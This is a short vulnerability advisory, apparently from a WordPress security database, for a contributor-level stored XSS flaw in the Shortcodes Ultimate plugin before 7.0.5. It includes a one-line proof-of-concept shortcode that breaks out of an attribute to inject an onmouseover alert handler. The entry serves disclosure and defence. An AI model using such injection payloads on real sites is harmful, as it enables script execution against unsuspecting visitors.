WordPress Plugin Vulnerabilities

Shortcodes Ultimate < 7.0.5 - Contributor+ Stored XSS

Description

The plugin does not properly escape some of its shortcodes attributes before they are echoed back to users, making it possible for users with the contributor role to conduct Stored XSS attacks.

Proof of Concept

[su_note note_color='123"onmouseover="alert(/XSS/)"' text_color='1' radius='1' class='1' id="1"]Note text[/su_note]

Affects Plugins

Fixed in 7.0.5

References

Classification

Type
XSS
CWE

Miscellaneous

Original Researcher
Dmitrii Ignatyev
Submitter
Dmitrii Ignatyev
Submitter website
Verified
Yes

Timeline

Publicly Published
2024-03-23 (about 1 months ago)
Added
2024-03-23 (about 1 months ago)
Last Updated
2024-03-26 (about 1 months ago)

Other